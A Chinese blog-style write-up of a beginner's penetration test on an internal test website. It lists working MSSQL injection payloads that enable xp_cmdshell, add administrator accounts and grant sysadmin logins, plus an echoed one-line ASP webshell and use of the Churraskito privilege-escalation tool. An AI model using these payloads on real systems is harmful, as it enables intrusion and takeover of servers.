話說剛開始接觸安全測試時,沒有一個系統的概念,前輩仍一個內網測試網站,讓我把的shell拿下來,那我就開始吭哧吭哧的干起來。
首先,做滲透測試要有個思路,不能埋頭苦干。所以就開始理了下思路,具體如下:
- 判斷有無sql注入點,根據sql注入點來判斷數據庫類型,若是mssqlserver則查看存儲過程xp_cmdshell 查看其是否被禁用,若沒有被禁用,則直接在注入點后面直接使用xp_cmdshell 存儲過程向系統中添加權限。
- 判斷是否有上傳漏洞,主要是上傳asp等一句話腳本,先得到webshell,然后利用webshell再獲取系統shell。
- 主要是利用sa,和第一種思路大致一樣
主要就這幾種思路,下面就開始實施。
首先,針對思路一:
既然是判斷有無sql注入,最方便的方法當然是使用工具進行掃描,這里我使用的是webcruiser,一個非常小巧的工具,當然我這里肯定能夠掃描出sql注入漏洞,接下來當然可以繼續用這個工具得到數據庫等信息,而我在這里就直接在該sql注入點是否能夠執行xp_cmdshell。
具體方法是這樣的:
- 確定數據庫類型:
?Id=1234;and (select count(*) from sysobjects)>0
- 得到當前連接名和數據庫名,查看是否為sa連接。
?id=1234;and user>0 (若顯示dbo 則代表sa)。
?id=1234;and db_name()>0,執行異常時,可以得到當前連接的數據庫名。
- 查看xp_cmdshell是否被禁用。
?id=1234;and (select count(*) from master.dbo.sysobjects where xtype=”X” and name =’xp_cmdshell’)
- 若存儲過程被刪掉,則嘗試恢復。
?id=1234;and exec sp_addextendepro xp_cmdshell,’xplog70.dll’
若出現下面的錯誤,可以嘗試如下方法:
l 無法裝載 DLL xpsql70.dll 或該DLL 所引用的某一DLL。原因126 (找不到指定模塊)。
首先執行,exec sp_dropextendeproc “xp_cmdshell” ,然后執行sp_addextendeproc “xp_cmdshell”,”xpsql70.dll”
l 無法再庫xpweb70.dll 中找到函數xp_cmdshell 原因127
首先執行 exec sp_dropextendeproc “xp_cmdshell” ,然后執行 exec sp_addextendeproc “xp_cmdshell”,”xpweb70.dll”
- 則利用存儲過程,執行添加用戶的操作。
?id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”-- 其中aaa為用戶名,bbb為密碼。
添加到管理員組:
?id=1234 ;exec master..xp_cmdshell “net localgroup administrators aaa/add ”
- 若想備份數據庫,則采用:
?id=1234 ;exec backup database 數據庫名 to disk =’C:\inetpub/wwwroot\save.db’,當然前提是知道web虛擬路徑。
- 當然當知道web虛擬路徑的時候,可以通過制造一個unicode 漏洞來完成對計算機的控制。
?id=1234;exec master..xp_cmdshell “copy c:\windows\system32\cmd.exe c:\inetpub\scripts\cmd.exe”
上面的主要是利用xp_cmdshell 方法來的,如果其中的方法不起作用,那就另當別論了。
針對思路二:
既然是通過上傳一個文件,那么首先要做的工作就是找各種上傳路徑,在前台摸索了半天也沒有找到一個可以上傳的功能,而后使用后台上傳功能,通過找各種后台,其中發現個admin這個后台,無奈,用戶名和密碼均無法通過驗證,從數據庫里面看,也沒有相應的用戶名和密碼,所以這個后台基本上是個無效的后台,沒辦法,眼看着上傳這條路就要失效了,此時我又使用了webcruiser 對整個網站掃描了下,發現該軟件有cmd模式,而且能夠執行成功,此時思路就來了,既然應用程序前后台均無法上傳,何不在這里直接使用cmd命令來建立一個asp文件呢?當然前提是要知道web虛擬路徑在哪里。
一般情況下,web虛擬路徑通常是這樣的:C:\inetpub\wwwroot ;D:\inetpub\wwwroot ;
或者E:\inetpub\wwwroot 等 就這幾個路徑,而虛擬可以執行的目錄一般是C:\inetpub\scripts ;D:\inetpub\scripts ; E:\inetpub\scripts
接下來,我在cmd命令下,直接執行一條命令:
echo ^<^%execute^(request^("eval"^)^)^%^> c:\inetpub\wwwroot\cms\test123456.asp
在這個目錄下,生成了個一句話木馬asp文件,然后再使用菜刀連接,ok,webshell拿到。
得到webshell 不是最主要的,而且webshell 也沒有什么太大的作用,因此就嘗試使用webshell往相應目錄傳送我們的攻擊文件,嘗試了幾個目錄均沒有發現可以執行的目錄,在快要放棄的情況下,然后嘗試了C:\recycle這個目錄,發現可以上傳可以執行的文件,下面就簡單了。
接下來的思路很簡單,就是上傳一個后面軟件,執行系統權限添加操作。在做到過程中,還是遇到了不少困難,例如,開始上傳的瑞士軍刀,想通過反彈端口來執行我們添加用戶的操作,發現無法成功。
在后來,通過一些0day的溢出漏洞來取得系統權限,在網上搜羅了一大堆的0day軟件,均發現不可以利用,后來看到“巴西烤肉”這款軟件,英文名Churraskito.exe,這款0day溢出軟件是如此的強大,而且我下的這個還么有后門,直接執行Churraskito “C:\windows\system32\cmd.exe ” “net user 111 111/add”成功添加用戶,哈哈,當然如果你想加到管理員組,在使用Churraskito “C:\windows\system32\cmd.exe ” “net localgroup administrators 111 /add” 基本上就ok了,至此,一個簡單的獲取系統權限的滲透測試就算完成了。
這里直接用webcruiser 中的cmd命令,直接執行添加用戶操作就可以了,省去了后面的一系列操作。擦得,后來才想到的,唉。。。
思路三:
既然可以執行,未必非要xp_cmdshell ,我們可以通過嘗試sa,這個操作,例如,先在數據庫中建立一個用戶,然后把該用戶提升為sysadmin,之后在使用查詢分析器連接,當然還是要使用xp_cmdshell 的存儲過程。
具體方法如下:
首先建立數據庫用戶:
?id=1234;exec master.dbo.sp_addlogin user;
當然也可以為這個用戶賦予密碼,其實無所謂,如果賦予密碼的話,這樣操作:
?id=1234;exec master.dbo.password null ,password ,user;
這里的null就是舊密碼,password 為新密碼。
然后將該用戶提升權限:
?id=1234;exec master.dbo.sp_addsrvrolemember user,sysadmin;
提升成功后,就可以通過查詢分析器連接,連接成功后,直接查看xp_cmdshell是否能用;如果能用,則直接提升權限操作,;例如:
Xp_cmdshell ‘net user’
Xp_cmdshell ‘net user test123 test123 /add’
Xp_cmdshell ‘net localgroup administrators test123/add ’
Xp_cmdshell ‘net user test123 /del’
等。
開啟telnet服務:
Xp_cmdshell ‘net start tlntsvr’
總結:
在這期間,我知道了webshell 和shell 不是一回事,也知道了xp_cmdshell是可以獲取系統權限的,也知道了 有些工具是可以執行cmd命令的,當然我也初步了解下瑞士軍刀 巴西烤肉等一系列攻擊工具的用法,當然也了解到一些系統是可以被0day的。雖然這次滲透還有很多沒有了解的地方,雖然只是大致的了解下,但是,對以后這方面,應該有個很好的思路以及借鑒。安全這塊,任重而道遠,以此勉勵自己。